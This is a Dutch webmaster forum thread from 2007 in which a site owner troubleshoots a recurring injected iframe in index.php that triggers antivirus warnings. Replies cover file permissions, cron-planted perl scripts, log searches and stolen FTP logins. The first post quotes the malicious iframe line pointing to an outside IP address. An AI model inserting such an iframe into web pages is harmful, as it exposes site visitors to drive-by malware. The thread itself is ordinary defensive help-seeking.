Hoi iedereen,
Bij een script van mij krijg ik sinds een paar dagen opeens een virus melding op 1 server.
Het script draait op meerdere domeinnamen bij verschillende providers, en die hebben gelukkig het probleem niet.
Ik doe nu twee links bij van printscreens van de melding:
http://www.verzamelland.nl/virus.jpg
en
http://www.verzamelland.nl/virus1.jpg
Het ip adres wat in de afbeelding zichtbaar is: 81.95.149.28
Ik heb dit ip adres nagekeken en schijnt een of andere Russische site te zijn gehost in Panama, dus erg onduidelijk allemaal.
Deze regel op index.php is de veroorzaker van de virusmelding:
<iframe src='http://81.95.149.28/logo/index.php' width='900' height='900' ></iframe>
Heb hem al verwijderd van index.php, maar komt toch even later weer terug.
Op google gezocht naar dit ip nummer en blijkt dus dat er veel meer mensen last hebben van dit probleem, alleen op Nederlandse gedeelte van google kwam het niet voor.
Vraag is dus, heeft dit met een lek in het script te maken, of heeft dit met een lek op de server te maken, of misschien wel beide?
Hoster is nu server aan het controleren, krijg hier morgenochtend een verslag van, webmaster heeft nu het upload gedeelte van het script (advertenties plaatsen) uitgeschakeld en gaan we kijken of het morgen weer terug is de virus melding.
Na het verwijderen van de regel op index.php was het namelijk na een paar uur weer terug die virus waarschuwing.
Kunnen jullie hier een antwoord/ vermoedde op geven of het aan het script ligt en zo ja waar het aan ligt of dat het probleem bij de hoster ligt ?
Ik plaats dit topic zowel bij hosting algemeen, als bij scripting, omdat het nu nog onbekend is waar het probleem nou ligt, bij hosting of bij scripting. Mochten de moderators dit niet goed vinden verwijder dan maar 1 topic.
Mensen die de URL willen weten kunnen mij een pb sturen, dan zal ik de link geven, maar bezoek is op eigen risico.
- Virus in script of virus op server?
-
11-06-2007, 22:30 #1deleted Guest
Virus in script of virus op server?
-
In de schijnwerper
-
11-06-2007, 22:52 #2deleted Guest
Hoi Martijn,
Bedankt voor je reactie. Site heb ik inderdaad dus off line gehaald, ten minste de indexpagina eventjes veranderd naar html die altijd voorrang heeft boven de php.
Die iframe regel op index.php is ook verwijderd weer door webmaster.
Domeinnamen gelukkig in eigen beheer, nameserver aanpassen en alles is zo geregeld.
Maar wacht nog eventjes andere reacties af en reactie van hoster, hier krijg ik morgenochtend een resultaat. Als het inderdaad een lek is bij provider, dan zal ik daar zeker weg gaan.
-
12-06-2007, 00:58 #3
- Berichten
- 17
- Lid sinds
- 17 Jaar
Ronald,
draai het script nu sinds vanmiddag op mijn eigen server en nog steeds is de index.php vrij gebleven van de iframe.
Morgenochtend check ik hem weer en zal dat voorlopig dagelijks blijven doen en je de resultaten laten weten.
Groet, Martin
Update 12-6: schoonLaatst aangepast door MartCom : 12-06-2007 om 08:31 Reden: Update
-
12-06-2007, 08:36 #4deleted Guest
Hoi Martin,
Dat is mooi. Bij mij zit het er nu weer jammer genoeg. Wacht mail af van hoster, maar denk dat het toch een verhuizing gaat worden, de .be versie van het domein is ook nog steeds virus vrij gelukkig.
-
12-06-2007, 22:50 #5deleted Guest
Hoi Martijn,
Bedankt voor je reacties.
Wat betreft je vraag omtrent template editor, kan ik helaas geen antwoord op geven (Heb hier zelf geen verstand van), zal het vragen aan de webmaster, kom ik later op terug.
Webhoster heeft zelf niets gevonden in de server, maar gaat morgen met een extern bedrijf hier naar kijken.
Verder kreeg ik zojuist een mailtje van hoster waarin hij het volgende schrijft:
Dat dit moeilijk te verklaren is komt omdat hackers vaak ipranges afgaan met
een scanner op lekken.
Dat kan verklaren dat bij hetzelfde script op een andere server dit (nog)
niet voorkomt.
Omdat inderdaad niemand anders op de server er last van heeft is het
vermoeden daarom ook groot dat het toch een lek in je script is.
Maar we gaan het morgen zien wat er loos is.
En de eerste zin slaat op mijn vraag aan hoster is dat het script op zijn server er alleen last van heeft en verder tot nu toe nog nergens, maar andere sites van mij op zijn server hebben er geen last van.
Ik kan me zijn verhaal heel goed voorstellen, ben dus toch wel bang dat het aan het script ligt, ben benieuwd wat er morgen uit komt.
-
12-06-2007, 23:24 #6deleted Guest
Hoi Martijn,
Uiteraard hou ik jullie hiervan op de hoogte zodat iedereen hier wat mee kan doen en ervan kan leren.
Heb je een template edit systeem erin zitten waar dergelijke modificaties mogelijk zijn? Wellicht heeft je systeem een backdoor.
Zit er niet in volgens webmaster.
Wat ik mij nu bedenk, bij het opgeven van een advertentie kan men die advertentie opmaken, en alleen voor dit gedeelte is er een publiekelijk scriptje voor gebruikt om de advertenties op te kunnen maken. Dit aan webmaster gevraagd, maar die zegt hier kan het niet aan liggen, want dan moet het ook in de database staan, en daar komt het niet in voor.
-
12-06-2007, 23:43 #7
- Berichten
- 226
- Lid sinds
- 18 Jaar
Je files beter beveiligen en dus geen chmod 777 geven (bewerk baar voor iedereen). Ook een idee om RANDOM password's te gebruiken.
-
12-06-2007, 23:52 #8deleted Guest
Dave bedankt voor je antwoord. Ik zal eens over leggen met webmaster of het mogelijk is om geen 777 te hoeven gebruiken.
Dit wordt alleen bij een paar mappen gebruikt en 1 tekst bestandje, meer niet. Map banners en map afbeeldingen een een tekstbestandje voor adbeheer. Volgens mij is het technisch (qua script niet mogelijk) om de mappen afbeeldingen en banners geen 777 rechten te geven, anders kunnen er geen afbeeldingen (foto's bij advertenties geplaatst worden), en geen banner in adbeheer. Waar het txt bestandje precies voor is, moet ik navragen.
Random password`s zal ik ook overleggen met webmaster.
-
12-06-2007, 23:58 #9
- Berichten
- 226
- Lid sinds
- 18 Jaar
Origineel gepost door Ronald HDave bedankt voor je antwoord. Ik zal eens over leggen met webmaster of het mogelijk is om geen 777 te hoeven gebruiken.
*Dat moet wel, als het mappen zijn. Bestanden normaal gewoon 644 en config 755 *
Dit wordt alleen bij een paar mappen gebruikt en 1 tekst bestandje, meer niet. Map banners en map afbeeldingen een een tekstbestandje voor adbeheer. Volgens mij is het technisch (qua script niet mogelijk) om de mappen afbeeldingen en banners geen 777 rechten te geven, anders kunnen er geen afbeeldingen (foto's bij advertenties geplaatst worden), en geen banner in adbeheer. Waar het txt bestandje precies voor is, moet ik navragen.
* Mappen dus waar iets via site in geupload moet worden moeten 777 hebben ja *
Random password`s zal ik ook overleggen met webmaster.
-
13-06-2007, 00:16 #1064BitsWebhosting.EU
- Berichten
- 2.092
- Lid sinds
- 17 Jaar
Vaak wordt er een simpel perl bestandje in een worldwriteble dir gedonderd (/tmp bv) dat vervolgens via de cron controleert of het iframe nog in de indexen zit of het simpelweg altijd toevoegd.
Doe eens een linux grep op je apache logfiles van de laatste week of zo. Zoek eens naar /tmp, wget of perl.
Misschien is er eerder een bruteforce geweest de laatste tijd op bv. ssh, ftp of DA oid. en heeft iemand een wachtwoord van een user op de server te pakken gekregen.
Via een lek script kan je als hackerkiddie natuurlijk wel e.e.a. klaarzetten, maar meestal is een foute serverconfiguratie de oorzaak dat het op meerdere index bestanden terecht kan komen.
Kijk ook eens naar de user/group van het index-bestand. Wijzig deze eventueel naar een ANDERE user dan root EN jezelf (tijdelijk dummy bv.) en kijk eens of de aanpassing dan ook terugkomt. Dan kun je afleiden onder welke rechten de 'hack' uitgevoerd word.
Een snelle oplossing om de gebruikers niet gek te maken is de index.php te kopieeren naar iets zoals blabla.php en dan via mod_rewrite alle request te rerouten.
Dan hebben de bezoekers nergens last van en kun je ondertussen eens analyseren wat er allemaal gebeurd.
-
13-06-2007, 08:57 #11deleted Guest
John bedankt voor je antwoord. Dit verhaal is voor mij persoonlijk toch wel wat te technisch en te ingewikkeld.
Ik heb zelf maar een eenvoudig resellerspakketje bij mijn hoster, maar zal je verhaal doorsturen naar hoster en naar webmaster, hopelijk begrijpen die het wel.
-
13-06-2007, 23:08 #12deleted Guest
Zoals beloofd eventjes een kleine update van dit probleem.
Webmaster heeft het volgende gedaan, de rechten van index.php veranderd naar 004 alleen public permissions aangevinkt, meer niet.
Verder heeft hij het volgende uitgevoerd via dit topic op webhostingtalk:
http://www.webhostingtalk.nl/scripti...us-script.html
van Niels Renselaar.
Tot nu toe is de virusmelding niet meer terug gekomen.
Jammer genoeg is de hoster er niet aan toegekomen om naar dit probleem te kijken vandaag. Er waren onverwachts andere werkzaamheden nodig in het datacentrum.
Hopelijk kijkt hij er morgen na.
-
14-06-2007, 17:51 #13deleted Guest
Extra update !
Hoster heeft jammer genoeg niets kunnen vinden op zijn server wat wijst naar een virus.
Sinds de aanpassingen gedaan zijn door webmaster zoals hierboven genoemd, zijn de problemen voorbij.
-
21-06-2007, 13:09 #14
- Berichten
- 522
- Lid sinds
- 17 Jaar
Hallo,
Ik heb dus het zelfde probleem gehad , echter kwam dit door een ftp hack .
Degene die mijn script heeft uitgebreid had dus op een externe pc even gewerkt, deze was besmet, en zodoende kon deze (vermoedelijk) de ftp inlog gegevens misbruiken.
Evt iets om even na te gaan..
Ik heb sinds ik de ftp/phpadmin/beheer inlog heb gewijzigd geen last meer gehad.
-
21-06-2007, 13:11 #15deleted Guest
Hoi Ed,
Met het zelfde script als ik ? Ik weet dat jij hier ook verkooprechten van heb namelijk.
Plaats een
- + Advertentie
- + Onderwerp
Marktplaats
Webmasterforum
- Websites algemeen
- Sitechecks
- Marketing
- Domeinen algemeen
- Waardebepaling
- CMS
- Wordpress
- Joomla
- Magento
- Google algemeen
- SEO
- Analytics
- Adsense
- Adwords
- HTML / XHTML
- CSS
- Programmeren
- PHP
- Javascript
- JQuery
- MySQL
- Ondernemen algemeen
- Belastingen
- Juridisch
- Grafisch ontwerp
- Hosting Algemeen
- Hardware Info
- Offtopic